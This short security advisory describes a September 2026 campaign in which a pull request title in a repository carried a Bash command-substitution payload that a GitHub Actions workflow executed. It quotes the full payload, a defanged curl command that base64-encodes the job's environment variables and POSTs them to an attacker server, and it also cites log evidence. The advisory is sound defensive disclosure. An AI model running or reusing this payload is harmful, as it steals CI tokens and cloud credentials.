GCVE-110-OSM-2026-14321

This legitimate repository was targeted in a September 2026 campaign that planted shell command injection payloads in GitHub issues, pull requests or comments. When a CI workflow handles that text unsafely, the payload runs inside the job and sends its environment variables, which can include repository tokens, cloud credentials and deployment secrets, to an attacker-controlled server. A workflow in this repository was confirmed to execute the injected command. The repository's own source code was not shown to be modified. Malicious payload found in: GitHub pull request #28488, title field (passed to `Tools/ci/check_pr_title.py` in the `PR Title` job, `Check PR title` step) - Trigger: a GitHub Actions workflow that inserts attacker-controlled GitHub text into shell source. Bash performs command substitution on `$(...)` even inside double quotes, so the text runs as code. - Behavior: `env` collects the job's environment variables, `base64 | tr -d '\n'` encodes them, and `curl -s ... -d` POSTs them over plain HTTP (port 8443) to the collection server. The unique ID in the `/c/` path identifies the target. - Impact depends on the job's permissions and secrets. The source did not establish that credentials were obtained or that code was modified. - Payload: `$(curl -s hxxp://54[.]205[.]16[.]142:8443/c/047199962bc6404c171317902a0d012c -d $(env|base64|tr -d '\n'))` - Execution evidence: the Actions log shows the title in the shell command, the same Bash command substitution warning, the Python script receiving binary output beginning `GIF89a` in place of the payload, and a later `UnicodeEncodeError`.